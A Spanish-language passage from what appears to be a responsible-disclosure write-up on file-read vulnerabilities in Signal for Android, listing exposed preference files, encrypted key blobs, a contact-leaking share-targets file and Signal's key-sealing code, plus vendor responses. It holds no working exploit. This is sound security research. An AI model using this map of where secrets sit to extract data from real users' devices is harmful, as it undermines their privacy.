A través de estas vulnerabilidades, un atacante podría potencialmente acceder a la estructura de archivos internos de Signal. Nuestro análisis revela tanto la fortaleza de la arquitectura de cifrado de Signal como las áreas donde los datos sensibles permanecen expuestos. Aquí tiene un desglose detallado de lo
que descubrimos:

1. Directorio de preferencias compartidas (/data/data/org.thoughtcrime.securesms/shared_prefs/)

Las vulnerabilidades proporcionaron acceso a varios archivos XML de preferencias:

FirebaseHeartBeatW0RFRkFVTFRd+MTozMTIzMzQ3NTQyMDY6YW5kcm9pZDphOTI5N2IxNTI4NzlmMjY2.xml
SecureSMS-Preferences.xml
WebViewChromiumPrefs.xml
com.google.firebase.messaging.xml
org.thoughtcrime.securesms_preferences.xml

2. Claves de cifrado cifradas (org.thoughtcrime.securesms_preferences.xml)

Este archivo contiene los datos de configuración más sensibles de Signal, cifrados con una clave compartida almacenada en el Keystore:

<!-- Database Encryption Key (encrypted) -->
<string name="pref_database_encrypted_secret">{
    "data":"2svYD9iQG6OfHED1UaOwXE5LJxKYQF8cdOPKuO8qFSSzJjpbSQFPIek6lD6IQdgn",
    "iv":"NjYUlRR5zFafr+/O"
}</string>

<!-- Attachment Encryption Key (encrypted) -->
<string name="pref_attachment_encrypted_secret">{
    "data":"F3K0UcrC8w0tr63tV4W5YF4q/X7MtXXdu18bVg8uC3HCCEAIzwQnYrZcY82UMRkacixOojMjyFaNURV29yjuVeMSnhVQx8JjRKPOF08wUBMy3GbTOaNXPsbBxJhzQL7O1/3UniTIE3wf5GNa8PPW4KOPwtlqx8ye",
    "iv":"4poKjqQ+7uIQvNAj"
}</string>

<!-- Backup Passphrase (encrypted) -->
<string name="pref_encrypted_backup_passphrase">{
    "data":"1SPumdNl5WDvtkUhF3ELScZwItO3s/aWjr8IolTa3eFvioUvDIeAMNiXkvFhyqWPuAH4",
    "iv":"5BGyF7jmtjOA5c1x"
}</string>

3. Metadatos y configuración

El archivo de preferencias también expone varios metadatos:

  • Marca de tiempo de instalación y versión
  • Preferencias del usuario (confirmaciones de lectura, indicadores de escritura)
  • Marcas de tiempo del programa de copias de seguridad
  • Marcas de tiempo de rotación de claves
  • Seguimiento de la versión de migración

4. Archivos en texto plano

Varios archivos almacenan datos sin cifrar:

  • El archivo XML de objetivos (Targets) filtra información de contacto para los atajos de compartir
  • WebViewChromiumPrefs.xml: configuración y estado del WebView
  • Configuración de Firebase: tokens y configuración de notificaciones push
  • Varios archivos de caché: datos temporales y preferencias del usuario

Contactos abiertos en /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml:

<?xml version='1.0' encoding='UTF_8' standalone='yes' ?>
<share_targets>
<target id="2" short_label="Note to Self" rank="1" long_label="Note to Self" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="4" short_label="Toto" rank="2" long_label="Toto TopBar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="20" short_label="Foo" rank="0" long_label="Foo Bar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
</share_targets>

Signal implementa un cifrado de varias capas. La primera capa es el cifrado de la base de datos usando SQLCipher:

private static @NonNull DatabaseSecret getOrCreate(@NonNull Context context) {
    String unencryptedSecret = TextSecurePreferences.getDatabaseUnencryptedSecret(context);
    String encryptedSecret = TextSecurePreferences.getDatabaseEncryptedSecret(context);

    if (unencryptedSecret != null) 
        return getUnencryptedDatabaseSecret(context, unencryptedSecret);
    else if (encryptedSecret != null) 
        return getEncryptedDatabaseSecret(encryptedSecret);
    else 
        return createAndStoreDatabaseSecret(context);
}

La segunda capa se realiza usando el Android Keystore:

private static @NonNull DatabaseSecret createAndStoreDatabaseSecret(@NonNull Context context) {
    SecureRandom random = new SecureRandom();
    byte[] secret = new byte[32];
    random.nextBytes(secret);

    DatabaseSecret databaseSecret = new DatabaseSecret(secret);

    if (Build.VERSION.SDK_INT >= 23) {
        // Use hardware-backed encryption when available
        KeyStoreHelper.SealedData encryptedSecret = KeyStoreHelper.seal(databaseSecret.asBytes());
        TextSecurePreferences.setDatabaseEncryptedSecret(context, encryptedSecret.serialize());
    } else {
        // Fallback for older devices (less secure)
        TextSecurePreferences.setDatabaseUnencryptedSecret(context, databaseSecret.asString());
    }

    return databaseSecret;
}

Estas protecciones impiden aprovechar directamente la lectura arbitraria de archivos para lograr un compromiso completo de la cuenta de Signal. Se requeriría una segunda vulnerabilidad, como un oráculo de cifrado con debilidades criptográficas o una elusión del Keystore.

Respuesta de Signal

La respuesta de Signal a estos hallazgos —reconociéndolos en 3 horas y desplegando correcciones en cuestión de días— demuestra su compromiso con la seguridad de los usuarios. Aunque se pueden hacer mejoras, su enfoque de defensa en profundidad garantiza que, incluso con estas vulnerabilidades, los mensajes de los usuarios permanezcan sólidamente protegidos.

La conclusión clave: la seguridad es por capas, y aunque cada capa pueda tener debilidades, la combinación proporciona una protección sólida. La arquitectura de Signal ejemplifica este principio, incluso cuando nuestros hallazgos muestran que siempre hay margen de mejora.

Respuesta de Google

Google ha reportado que ambos problemas funcionan como se pretendía; a continuación se muestra su respuesta:

Respuesta del equipo de seguridad de Google al informe de vulnerabilidad

Respuesta detallada y razonamiento del equipo de seguridad de Google

Referencias

Etiquetas:

security